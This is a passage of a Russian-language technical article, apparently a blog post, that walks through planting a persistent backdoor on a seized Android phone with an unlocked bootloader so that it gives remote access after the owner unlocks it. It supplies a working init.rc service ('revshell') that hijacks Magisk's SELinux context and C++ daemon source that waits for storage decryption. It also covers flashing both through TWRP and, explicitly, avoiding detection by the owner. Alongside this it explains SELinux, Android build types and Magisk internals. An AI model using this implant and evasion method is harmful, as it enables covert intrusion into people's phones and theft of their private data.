Она работает как обычное непривилегированное приложение, а значит ни к чему особо доступ иметь не может. Если на системе нет root-прав, то мы сможем получить только файлы из общего хранилища и только после подтверждения пользователем диалога с разрешением что автоматически выдаст нас. Если на системе есть root-права, то получить их мы сможем только после явного подтверждения диалога с разрешением. Мы могли бы руками отредактировать базу данных magisk для внесения себя в список приложений которым доступен root и отключить для себя логирование и уведомления о предоставлении root-доступа, но для этого нам нужно отредактировать файл из внутренней директории приложения, а она зашифрована.
Будучи обычным приложением она будет попадать под управление жизненным циклом, система в лучшем случае будет отправлять её в сон в doze-mode, в худшем – просто убьёт и перезапустить её будет некому. Умер процесс приложения – умер и процесс агента, поскольку является дочерним процессом приложения.
Для того, чтобы агент мог без проблем поддерживать себя постоянно запущенным, не отсвечивать в операционной системе и не попадать под регулирования и ограничения для установленных приложений, необходимо оформить его в виде системного сервиса - демона.
Для того, чтобы понять как именно это сделать, нужно вернуться к процессу загрузки системы, однако теперь мы верхнеуровнево рассмотрим оставшуюся её часть происходящую сразу после рассмотренного в начале boot flow, т.е. когда загрузчик загрузил раздел boot, отработал механизм verified boot и система получила добро на запуск:
Ядро и ramdisk распаковывается в оперативную память, и загрузчик запускает ядро.
Ядро стартует, инициализирует устройства, драйверы и т.д. и монтирует ramdisk в корень файловой системы. Ramdisk содержит минимальный набор файлов необходимых для запуска пользовательской части системы. Бинарник init, минимальный скрипт init.rc для него, точки монтирования разделов: /system, /vendor и др. и информацию об устройствах которые необходимо в них смонтировать. Вот тут описаны примеры содержания ramdisk для разных версий android.
Далее процесс может проходить по нескольким сценариям, но в целом, конечная цель работы ядра на этапе загрузки – запустить исполняемый файл init, который продолжит загрузку системы уже не в пространстве ядра, а в пространстве пользователя.
Первое что делает процесс init сразу после запуска - загружает скомпилированные политики SELinux и применяет их. SELinux - это механизм ядра для принудительного контроля доступа, пришедший в android из RedHat-подобных дистрибутивов. Мы ещё вернёмся к нему и рассмотрим его более подробно.
Далее процесс init парсит скрипт init.rc из ramdisk, который содержит список действий которые необходимо совершить для успешной загрузки системы, а также какие ещё .rc скрипты необходимо загрузить. Android использует свой формат скриптов для загрузки компонентов системы.
После отработки всех скриптов мы получаем полностью запущенную систему.
Судя по всему, для внедрения в систему в качестве демона нам потребуется подготовить исполняемый файл с полезной нагрузкой и описать системный сервис, который будет его вызывать.
Исходный init.rc импортирует дополнительные скрипты из нескольких директорий, в том числе и основного источника этих скриптов из системного раздела: /system/etc/init/.rc, поэтому мы подготовим свой скрипт и поместим его туда.
Синтаксис .rc скриптов несложный, он хорошо описан здесь, а ещё можно подглядеть в то, как именно он устроен просто заглянув в файлы в вышеупомянутой директории.
Подготовим описание нашего сервиса:
service revshell /system/bin/revshell
disabled
shutdown critical
on property:sys.boot_completed=1
start revshell
Укажем название сервиса revshell.
Путь к исполняемому файлу будет лежать в стандартной директории для бинарников в android. Агента мы поместим именно туда.
disabled означает то, что его не нужно загружать непосредственно в процессе загрузки системы сразу после обработки скрипта. Мы будем стартовать сервис специальным триггером, который ориентруется на объявление проперти sys.boot_completed.
shutdown critical означает то, что сервис критический и не должен убиваться даже при подаче сигнала о выключении системы.
План таков: система запустит нашего агента при загрузке до попадания на экран ввода кода разблокировки. Агент ожидает расшифровки файловой системы. После того как владелец устройства введёт код разблокировки, агент запускает reverse-shell и предоставляет нам доступ в систему с возможностью достать любые файлы.
На системный сервис не распространяются правила OOM-киллера и правила энергосбережения, он не будет остановлен если в системе заканчивается память, или она уснёт. В случае завершения процесса сервиса по любой причине, система будет его рестартовать не позднее чем через 5 секунд. Даже в случае если сервис не может запуститься и его процесс падает, система никогда на бросит попыток его запустить и будет продолжать делать это пока продолжает работать.
Выглядит как раз как то что нам нужно, однако тут нашим ожиданиям суждено встретиться с суровыми реальностями организации безопасности в android. Если мы попытаемся установить сервис подобным образом, то система его проигнорирует, а dmesg сообщит нам что-то похожее на это:
avc: denied { transition } scontext=u:r:init:s0 tcontext=u:object_r:system_file:s0
SELinux
Безопасность в android устроена сложнее чем хотелось бы злоумышленникам и представляет из себя многослойную систему. Unix DAC (discretionary access control), привычная нам система пользователей и назначения прав на файлы типа rwxrwxrwx является лишь частью мер по предотвращению злоупотребления операционной системой и устройством. Помимо неё есть ещё MAC (mandatory access control), в android это SELinux (Security Enhanced Linux). Суть MAC в возможности намного более гибко управлять доступом к различным ресурсам чем DAC, в том числе описывая для этого свои уникальные сущности и правила.
Отсюда следует несколько неочевидный ранее вывод – на android root-права в привычном для других дистрибутивов linux понимании, т.е. когда uid пользователя в системе равен 0, вовсе не означают что мы можем делать всё что угодно. Несмотря на то, что процесс init запущен с uid=0, он не может запустить сторонний сервис. Дело в том что SELinux не оперирует понятиями системных пользователей и групп, и если какое-то действие не было явно разрешено, то он его запретит и ему безразлично пытается ли его совершить непривилегированный пользователь или root. Он работает "выше" DAC и может запретить любое действие, которое DAC разрешил.
Вот отличный пример в android с самим файлом, содержащим политики SELinux:
$ ls -laZ /sys/fs/selinux/policy
-r--r--r-- 1 root root u:object_r:selinuxfs:s0 0 1970-01-01 03:00 /sys/fs/selinux/policy
$ cat /sys/fs/selinux/policy
cat: /sys/fs/selinux/policy: Permission denied
На нём стоит доступ для чтения для любых пользователей, но при попытке прочитать его мы получим Permission denied, потому что ни для процессов с контекстом u:r:shell:s0, ни для процессов с контекстом u:r:untrustedapp:s0 нет разрешения на чтение файлов u:objectr:selinuxfs:s0.
SELinux оперирует понятиями контекстов, которые присваиваются файлам и процессам, и правил взаимодействия между объектами принадлежащим разным контекстам. Наборы этих правил объединяются в политики. Они описываются в файлах *.te в исходниках android, можно посмотреть примеры вот тут. Политики собираются на этапе сборки системы и, теоретически, не могут изменяться во время её работы, они компилируются в специальный бинарный формат, который уже использует система.
Контекст SELinux на процессах и файлах можно посмотреть, добавив к выполняемой команде флаг -Z. Например, для просмотра контекстов на файлах в текущей папке можно вызвать команду ls -laZ, а на процессах, соответсвенно, ps -efZ.
Как было упомянуто выше в секции про процесс загрузки системы, первое действие которое совершает процесс init – загружает и применяет политики SELinux, а одна из первых применяемых политик заключается в том что процессу с контекстом u:r:init:s0 запрещается делать transition в другой контекст. Политики SELinux специально строятся по принципу "запрещено всё что не разрешено", и создатели операционной системы, разумеется, позаботились о том, чтобы злоумышленник получивший возможность прописать запуск какого-то сервиса в автозапуск не смог это сделать. Контекст процесса init организован таким образом что он может запустить только те системные сервисы, для которых явно прописано разрешение на запуск во время загрузки системы, и после сборки системы это изменить нельзя.
SELinux может работает в трёх режимах:
enforcing – все действия описываемые политиками логируются и принудительно следуют правилам, т.е. если действие явно не разрешено, то оно не будет выполнено
permissive – все действия описываемые политиками логируются но не следуют правилам принудительно, т.е. даже если действие явно не разрешено, оно будет выполнено, несмотря на ругань в логах
disabled – никакие действия не логируются и не ограничиваются
В нормально работающей системе android версии от 5.0 SELinux всегда будет в режиме enforcing. Если по каким-то причинам он будет переведён в режим permissive, то пользователю ещё до ввода кода разблокировки покажут большое страшное уведомление об этом и о том что его система небезопасна. Мы точно не имеем права переводить SELinux в permissive режим, потому что это выдаст пользователю факт модификации его устройства, и он может предпочесть уничтожить данные.
В каждой версии android, начиная с 5 политики SELinux сильно ужесточаются и всё меньше и меньше всего остаётся разрешённым. Иронично, но начиная с android 8 даже если прошить в системный раздел исполняемый файл su и сделать его системным и принадлежащим root:root, он не сможет работать без специально назначенных ему политик.
Тем не менее инструменты для получения root-прав существуют, и они умеют обходить ограничения MAC, работать на самых свежих версиях android и даже на устройствах, которые помимо них дополнительно имеют отдельные механизмы контроля целостности системы (например устройства Samsung). Так как же тогда работает root в современных реалиях?
Как работают root-права?
Когда то, для установки root-прав достаточно было перемонтировать раздел system в режим чтения-записи и скопировать туда исполняемый файл su. Затем появилась необходимость думать также и о политиках SELinux, и об AVB. Сегодня для получения root-прав можно выделить два основных подхода, которые можно условно назвать "легальным" и "нелегальным".
Легальные root-права и LineageOS
Существует абсолютно легальный способ получения прав суперпользователя в системе, без регистрации и СМС. Всё что для этого требуется, это собрать и установить на устройство нерелизную сборку системы. Наличие root-доступа на ней логично обосновано, и используется разработчиками android для диагностики проблем и сбора информации о системе на устройстве, отладке системных компонентов и т.д. Подробнее о видах сборки можно почитать тут. Если вкратце, существуют варианты сборки eng, userdebug и user.
user – это релизный вариант сборки для выпуска в прод. Ограничения системы действуют по полной.
userdebug – это "почти-релизная" сборка. Большинство ограничений также действуют. От user варианта отличается только тем, что в ней присутствует отладочная информация и легально разрешён root-доступ.
eng – это полностью отладочный вариант сборки, помимо легального root-доступа и отладочной информации в такой сборке присутствуют дополнительные инструменты для диагностики, поиска проблем, профилирования и отладки прямо на устройстве.
Узнать тип сборки на устройстве можно запросив соответствующее свойство командой: getprop ro.build.type На отладочных типах сборок свойство ro.build.type не будет равно user, и свойство ro.debuggable будет установлено в 1.
На отладочных типах сборок отсутствует исполняемый файл su, а получение легального root-доступа на них осуществляется с помощью перезапуска демона adbd с помощью команды adb root. Технически это реализовано в виде простого условия в коде adb. При запуске демон adb всегда стартует от root, но в определённый момент дропает свои привилегии до shell. На нерелизных сборках получив команду adb root он не понижает свои привилегии до shell, а пользователь получает возможность полноценно работать от пользователя root. Специально для того, чтобы adb мог таким образом предоставить полноценный доступ к системе существует специальный контекст u:r:su:s0, который собирается и включается в политики если сборка не является релизной. Он до конца разрешает процессу adb всё что в обычном случае было бы запрещено SELinux.
$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ ^D
$ adb root
restarting adbd as root
$ adb shell
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:su:s0
Похожим образом "легально" root-права получает addonsu, который поставлялся вместе с LineageOS до версии 16 включительно (сейчас он deprecated). Он использует подход с записью исполняемого файла su в директорию /system/bin в разделе system, а также с демоном, который обладает заготовленным контекстом SELinux и может запускаться и останавливаться в зависимости от настроек системы и предоставлять доступ к оболочке с правами root если это разрешит делать пользователь. Тем не менее, с технической точки зрения, подход используется тот же самый. Разработчики LineageOS специально закладывают в исходный код правила для addonsu, они не знают, будет ли владелец пользоваться им или нет, но если всё-таки будет, то файлу su будут нужны эти политики, поэтому их вносят в *.te файлы в исходный код.
$ adb shell
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:sudaemon:s0
Интересный факт: далеко не все пользователи LineageOS, по моим наблюдениям, знают о том, что все официальные сборки этой прошивки собираются и поставляются в отладочном варианте userdebug. Немало пользователей LineageOS переходят на неё ради лучшей приватности и безопасности, хотя наличие на устройстве сборки в отладочном режиме сильно этому противоречит, т.к. получить полный доступ к системе можно одной командой, даже если никаких инструментов для получения root-прав не было установлено.
Я сам очень люблю LineageOS, это отличная, стабильная и активно развиваемая прошивка, которая поддерживает много устройств, включая те, поддержку которых забросил сам производитель. Мне нравится её минималистичность и возможность очень удобно тестировать и производить на ней отладку различных системных компонентов и экспериментировать с системой в целом. Однако сами мейнтейнеры предупреждают что она не была заточена на безопасность. К сожалению, по словам авторов, поддержка огромной доли поддерживаемых в настоящее время устройств, особенно довольно старых, была бы невозможна, если бы в релиз уходили user-сборки, а на userdebug сборках, к сожалению, возможно получение рута через режим отладки, что конечно будет настоящим подарком для злоумышленников или сотрудников правоохранительных органов, потому что позволит вытащить из системы все приватные файлы из внутренних хранилищ приложений.
Разумеется, на стоковых прошивках от производителя ничего подобного не будет. Всё что попадает на устройства пользователей собирается в релизном user-варианте, на котором перезапуск adbd от рута запрещён.
$ adb root
adbd cannot run as root in production builds
Мы не можем полагаться на то, что телефон с разблокированным загрузчиком будет и содержать LineageOS, и иметь включённый режим adb, к тому же контексту u:r:init:s0 запрещён transition в контекст u:r:su:s0, поэтому закрепиться в качестве системного демона подобным образом всё равно не получится, а значит для извлечения данных нам необходимо воспользоваться другим подходом.
Нелегальные root-права и magisk
Я назвал предыдущий подход к получению root-прав "легальным", потому что всё необходимое для этого было намеренно заложено в систему на этапе сборки. Совершенно иной подход использует инструмент для получения root-прав magisk, ставший, де-факто, стандартным инструментом для этих целей в сообществе любителей android. Magisk устанавливается на любые устройства, на любые сборки, на любые версии android, и не только на отладочные варианты сборки, но и на релизные, и даже на те устройства, на которых применяются дополнительные защиты от несанкционированного получения root-прав. Magisk по полной эксплуатирует разблокированный загрузчик и, по сути, совершает настоящий изощрённый взлом за что и будем его называть его "нелегальным". Для нас наиболее важно то, что magisk, по сути, делает всё тоже что хотим сейчас сделать мы. Он закрепляется в системе также, как хотим закрепиться мы, а значит, похоже, что нам с ним по пути.
Для начала постараемся выяснить как magisk получает root-права в рантайме. На устройстве выполняем:
$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:magisk:s0
# ps -Zef
LABEL UID PID PPID C STIME TTY TIME CMD
u:r:init:s0 root 1 0 1 09:17 ? 00:00:01 init
u:r:magisk:s0 root 658 1 0 09:24 ? 00:00:00 magiskd
u:r:zygote:s0 root 695 1 1 09:24 ? 00:00:01 zygote64
u:r:zygote:s0 root 696 1 0 09:24 ? 00:00:00 zygote
u:r:adbd:s0 shell 956 1 1 09:25 ? 00:00:01 adbd --root_seclabel=u:r:su:s0
u:r:platform_app:s0:c512,c768 u0_a39 2800 695 4 09:35 ? 00:00:07 com.android.systemui
u:r:priv_app:s0:c512,c768 u0_a120 3909 695 1 10:26 ? 00:00:01 com.android.launcher3
u:r:untrusted_app:s0:c113,c25+ u0_a113 5218 695 1 10:48 ? 00:00:00 com.topjohnwu.magisk
u:r:shell:s0 shell 5473 956 0 10:56 pts/0 00:00:00 sh -
u:r:magisk_client:s0 shell 5602 5473 0 10:59 pts/0 00:00:00 su
u:r:magisk_client:s0:c113,c25+ u0_a113 5629 5218 0 10:59 ? 00:00:00 su --mount-master
u:r:magisk:s0 root 5633 658 0 10:59 ? 00:00:00 busybox sh
u:r:magisk:s0 root 5708 658 0 11:02 pts/1 00:00:00 sh
u:r:magisk:s0 root 5795 5708 7 12:49 pts/1 00:00:00 ps -Zef
Я сократил вывод команды ps только до тех значений, которые нас интересуют.
Во-первых, мы видим что magisk имеет специальный контекст для своих процессов - u:r:magisk:s0. Наша оболочка с root-правами имеет терминал pts/1 и запущена с этим контекстом. Это явно не встроенный в систему контекст, а значит magisk смог его отредактировать и внедрить дополнительные правила перед запуском процесса init. Поскольку, наши root-права работают, и мы действительно можем делать в системе всё что угодно, контекст u:r:magisk:s0 должен иметь как минимум все те же разрешения, которые прописаны для u:r:su:s0, а может и больше.
Во-вторых, magisk имеет свой демон запущенный в системе – magiskd, он породил наш процесс с рутовым шеллом, а значит именно через него magisk и даёт другим процессам доступ с оболочке с root-правами, этот демон (PID 658) порождён процессом init (PPID 1), т.е. запущен как системный сервис. Демон также работает в контексте u:r:magisk:s0.
Мы подключились по adb и получили шелл на устройстве, терминал pts/0. Видно что процесс sh имеет контекст u:r:shell:s0, PID 5473 и PPID 956 который равен значению PID adbd, а сам adbd уже был порождён процессом init.
Мы вызываем исполняемый файл su и видим что его контекст – u:r:magisk_client:s0, следовательно magisk использует отдельный контекст для того, чтобы знать какие именно исполняемые файлы могут запрашивать доступ к root-правам. Исполняемый файл провоцирует открытие окна подтверждения доступа к root-правам для обычного shell, оно находится в пакете приложения MagiskManager - com.topjohnwu.magisk, получив результатат magiskd (PID 658) породил нам нашу оболочку sh с новым терминалом pts/1 (PID 5708, PPID 658), от которой мы отнаследовали и пользователя root (uid=0), и всемогущий контекст u:r:magisk:s0.
Для нас интересно вот что: если init запускается со своим ограниченным со всех сторон контекстом u:r:init:s0 из которого разрешены transition’ы только в прописанные в *.te файлах контексты для системных служб, а демон маджиска имеет контекст u:r:magisk:s0, значит magisk смог внедрить правило разрешающее прямой transition из u:r:init:s0 в u:r:magisk:s0. Это значит что и мы можем использовать контекст u:r:magisk:s0 в своём сервисе!
Внедряемся в систему с установленными root-правами
Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:
service revshell /system/bin/revshell
disabled
seclabel u:r:magisk:s0
shutdown critical
on property:sys.boot_completed=1
start revshell
Подготовим исполняемый файл для демона и соберём его под arm64.
#pragma once
#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>
#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"
revshell.hpp
#include "revshell.hpp"
bool check_fs_decrypted() {
bool result = false;
struct dirent *entry;
DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR);
if (dir == NULL) {
return result;
}
while ((entry = readdir(dir)) != NULL) {
if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) {
result = true;
}
}
closedir(dir);
return result;
}
int run_in_main_proc() {
LOGD("Start successfull!\n");
signal(SIGINT, SIG_IGN);
signal(SIGHUP, SIG_IGN);
signal(SIGQUIT, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
signal(SIGCHLD, SIG_IGN);
signal(SIGTTOU, SIG_IGN);
signal(SIGTTIN, SIG_IGN);
signal(SIGTERM, SIG_IGN);
signal(SIGKILL, SIG_IGN);
LOGD("Signals are set to ignore\n");
int timer_counter = 0;
int timer_step = 5;
LOGD("Hey I'm a revshell process!\n");
LOGD("My PID -- %d\n", getpid());
LOGD("My parent PID -- %d\n", getppid());
LOGD("My UID -- %d\n", getuid());
LOGD("Awaiting encrypted FS decryption now...");
while (true) {
sleep(timer_step);
timer_counter = (timer_counter + timer_step) % INT_MAX;
if (check_fs_decrypted()) {
LOGD("FS has been decrypted!");
break;
}
}
LOGD("Starting reverse shell now");
while (true) {
sleep(timer_step);
timer_counter = (timer_counter + timer_step) % INT_MAX;
LOGD("tick ! %d seconds since process started", timer_counter);
}
LOGD("Exit!\n");
return 0;
}
int main(int argc, char *argv[]) {
return run_in_main_proc();
}
revshel.cpp
Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку "android", которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.
Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc
Перезагружаем устройство и начинаем слушать логи:
$ adb logcat | grep revshell
Когда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:
01-31 23:42:07.587 3589 3589 D revshell: Start successfull!
01-31 23:42:07.588 3589 3589 D revshell: Signals are set to ignore
01-31 23:42:07.588 3589 3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588 3589 3589 D revshell: My PID -- 3589
01-31 23:42:07.588 3589 3589 D revshell: My parent PID -- 1
01-31 23:42:07.588 3589 3589 D revshell: My UID -- 0
01-31 23:42:07.588 3589 3589 D revshell: Awaiting encrypted FS decryption now...
Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!
Вводим код разблокировки и видим в логах:
01-31 23:42:27.597 3589 3589 D revshell: FS has been decrypted!
01-31 23:42:27.597 3589 3589 D revshell: Starting reverse shell now
01-31 23:42:32.597 3589 3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598 3589 3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599 3589 3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600 3589 3589 D revshell: tick ! 40 seconds since process started
Посмотрим, через adb запущенные процессы и увидим там наш демон:
$ adb shell
$ ps -Zef | grep revshell
u:r:magisk:s0 root 3589 1 0 23:42:06 ? 00:00:00 revshell
u:r:shell:s0 shell 5546 5495 1 23:48:21 pts/0 00:00:00 grep revshell
Он запущен процессом init, как системный сервис, убить его без root-прав мы не можем:
$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted
А убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:
$ su
# kill -9 3589
# ps -Zef | grep revshell
u:r:magisk:s0 root 5592 1 0 23:51:34 ? 00:00:00 revshell
u:r:magisk:s0 root 5601 5573 5 23:52:08 pts/1 00:00:00 grep revshell
Отлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать. Достаточно было знать об особенностях шифрования хранилища в смартфонах и о возможностях которые дал нам разблокированный загрузчик.
Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.
Внедряемся в систему без установленных root-прав
Первое приходит на ум мысль о том, что мы можем просто взять устройство с которого хотим извлечь данные, прошить в него magisk используя TWRP, а затем, сразу же следом прошить наш бэкдор. Технически это сработает, т.к. вместе с magisk установятся и его политики SELinux, благодаря которым он сможет работать, но в этом случае, пользователь сразу же поймёт, что что-то не так. Он не устанавливал magisk, а magisk на устройстве есть. Значит, в то время как устройство было изъято злоумышленником, он что-то в него прошивал. Пользователь не сможет заметить этого до того как введёт код разблокировки, однако проблема в том что во время разблокировки интернет на устройстве пользователя может быть выключен, мы не получим удалённый доступ, а пользователь, обнаружив то что в его устройство пытались что-то прошить может удалить необходимую информацию, удалить magisk, начать разбираться что не так, обнаружить бэкдор, или просто сбросить телефон до заводских настроек вследствие чего интересующие нас данные будут уничтожены. Если на устройстве пользователя стоит какое-либо антивирусное решение, то оно может поднять тревогу, если обнаружит что в системе появились root-права полученные через magisk.
Нам нужно постараться любой ценой избежать обнаружения, поскольку от этого зависит получится у нас изъять данные или нет. По сути, нам, в общем-то, не нужны root-права в обычном понимании, нам не нужен терминал с uid=0 для того, чтобы вводить какие-то команды. Нам не нужен исполняемый файл su, т.к. uid=0 мы можем получить и от процесса init. Нам не нужны и сторонние инструменты, которые поставляются с magisk. Нам не нужно приложение MagiskManager. Всё что нас интересует – это контекст u:r:magisk:s0. Получим контекст – получим удалённый доступ.
Нам не только не нужно всё вышеперечисленное, нам очень желательно ничего из этого не устанавливать, т.к. это – маркеры компрометации. Если пользователь запустит какую-нибудь популярную проверку на root, то она нас обнаружит, это же может случиться и в одном из приложений, установленных на его устройстве, оно обнаружит что на телефоне установлены root-права и уведомит пользователя об этом.
Обнаружить root-права на устройстве, в частности magisk, можно по-разному. Можно банально проверить наличие установленного менеджера в системе или попытаться найти испоняемый файл su или magisk (magisk создаёт символическую ссылку su которая на самом деле указывает на исполняемый файл magisk)
Одна из главных особенностей работы magisk в том что он создаёт зеркала – "волшебные точки монтирования", которые позволяют ему размещать файлы и директории прямо "поверх" смонтированного системного раздела, при этом в файловой системе это выглядит так, как будто они являются естественной частью неизменяемых системных разделов, хотя на деле лежат в специальной директории в той части раздела userdata, куда непривилегированному приложению не заглянуть без root-прав.
Это позволяет не трогать раздел system который смонтирован в режиме read-only. Именно так, с помощью зеркал, magisk добавляет свои исполняемые файлы в $PATH. Именно так работают magisk-модули которые расширяют функционал системы: добавляют или подменяют исполняемые файлы, системные библиотеки или даже jar файлы с классами android фреймворка. Именно за это magisk и получил своё название – "magic mask", волшебная маска. И за это же он называется "systemless root", что есть чистая правда, т.к. magisk устанавливается только в разделы boot и userdata и совершенно не трогает system.
Интересный факт: начиная с android 10 в системе появилась служба APEX отвечающая за более простой подход к доставке обновлений системных компонентов. Её идея в том, чтобы добавить в android возможность выборочно доставлять обновления частей системы: добавлять новые и заменять существующие системные библиотеки и части android фреймворка, и главное делать это небольшими пакетами, без необходимости загружать и устанавливать полные образы всех разделов целиком. Более того всё это ложится в стандартную модель управления пакетами в android. То есть идея в том, что это нечто вроде apk, но не для приложений, а для самой ОС. Это критически важно для безопасности, например для того, чтобы в случае обнаружения какой-нибудь новой серьёзной уязвимости в системной библиотеке, как это например случалось с libstagefright когда 95% устройств на рынке были подвержены уязвимости, а обновления до многих устройств шли долгие месяцы, Google мог в течение нескольких часов доставить обновление с заплаткой на 100% устройств которые поддерживают apex. Иронично то, что этот механизм ну очень сильно похож по принципу действия на работу модулей magisk, и на то, как они монтируются поверх системы через зеркала. Я могу только предполагать это, но не исключено, что ребята, которые игрались с безопасностью android устройств и "хакали" их по фану, вдохновили своими подходами системных разработчиков android, которые построили на этом систему обновлений, которая сделает каждое из наших устройств неприступнее для злоумышленников. По-моему, это прекрасно.
Возвращаясь к magisk, особенностью такого подхода является то, что magisk создаёт множество лишних точек монтирования, особенно если установлено много magisk-модулей.
$ cat /proc/mounts | grep magisk
/sbin/.magisk/block/system /sbin/.magisk/mirror/system ext4 ro,seclabel,relatime,block_validity,discard,delalloc,barrier,user_xattr 0 0
/sbin/.magisk/block/vendor /sbin/.magisk/mirror/vendor ext4 ro,seclabel,relatime,block_validity,discard,delalloc,barrier,user_xattr 0 0
/sbin/.magisk/block/data /sbin/.magisk/mirror/data ext4 rw,seclabel,relatime,discard,noauto_da_alloc,data=ordered 0 0
/sbin/.magisk/block/data /sbin/.magisk/modules ext4 rw,seclabel,relatime,discard,noauto_da_alloc,data=ordered 0 0
Можно поискать в файловой системе файлы, содержащие в названии magisk, и обнаружить исполняемые файлы:
$ find / -name "magisk" 2>/dev/null
/sbin/magiskpolicy
/sbin/magiskhide
/sbin/magisk
/sbin/magiskinit
/sbin/.magisk
Ещё больше можно увидеть с root-правами:
$ su
# find / -name "*magisk*" 2>/dev/null
/storage/emulated/0/Android/data/com.topjohnwu.magisk
/storage/emulated/0/Android/media/com.topjohnwu.magisk
/sbin/magiskpolicy
/sbin/magiskhide
/sbin/magisk
/sbin/magiskinit
/sbin/.magisk
/sbin/.magisk/mirror/data/system/package_cache/1/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==-0
/sbin/.magisk/mirror/data/system/graphicsstats/1612051200000/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/system/graphicsstats/1611964800000/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/misc/profiles/cur/0/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/misc/profiles/ref/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/user_de/0/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/magisk_backup_5063aa326352068974a1a161a798cd606e05dd12
/sbin/.magisk/mirror/data/app/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==
/sbin/.magisk/mirror/data/data/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/adb/magisk.db
/sbin/.magisk/mirror/data/adb/magisk
/sbin/.magisk/mirror/data/adb/magisk/magiskinit64
/sbin/.magisk/mirror/data/adb/magisk/magiskboot
/sbin/.magisk/mirror/data/adb/magisk/magiskinit
/sbin/.magisk/mirror/data/media/0/Android/data/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/media/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/write/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/write/emulated/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/read/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/read/emulated/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/default/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/default/emulated/0/Android/media/com.topjohnwu.magisk
/data/system/package_cache/1/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==-0
/data/system/graphicsstats/1612051200000/com.topjohnwu.magisk
/data/system/graphicsstats/1611964800000/com.topjohnwu.magisk
/data/misc/profiles/cur/0/com.topjohnwu.magisk
/data/misc/profiles/ref/com.topjohnwu.magisk
/data/user_de/0/com.topjohnwu.magisk
/data/magisk_backup_5063aa326352068974a1a161a798cd606e05dd12
/data/app/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==
/data/data/com.topjohnwu.magisk
/data/adb/magisk.db
/data/adb/magisk
/data/adb/magisk/magiskinit64
/data/adb/magisk/magiskboot
/data/adb/magisk/magiskinit
/data/media/0/Android/data/com.topjohnwu.magisk
/data/media/0/Android/media/com.topjohnwu.magisk
/config/sdcardfs/com.topjohnwu.magisk
/cache/magisk.log
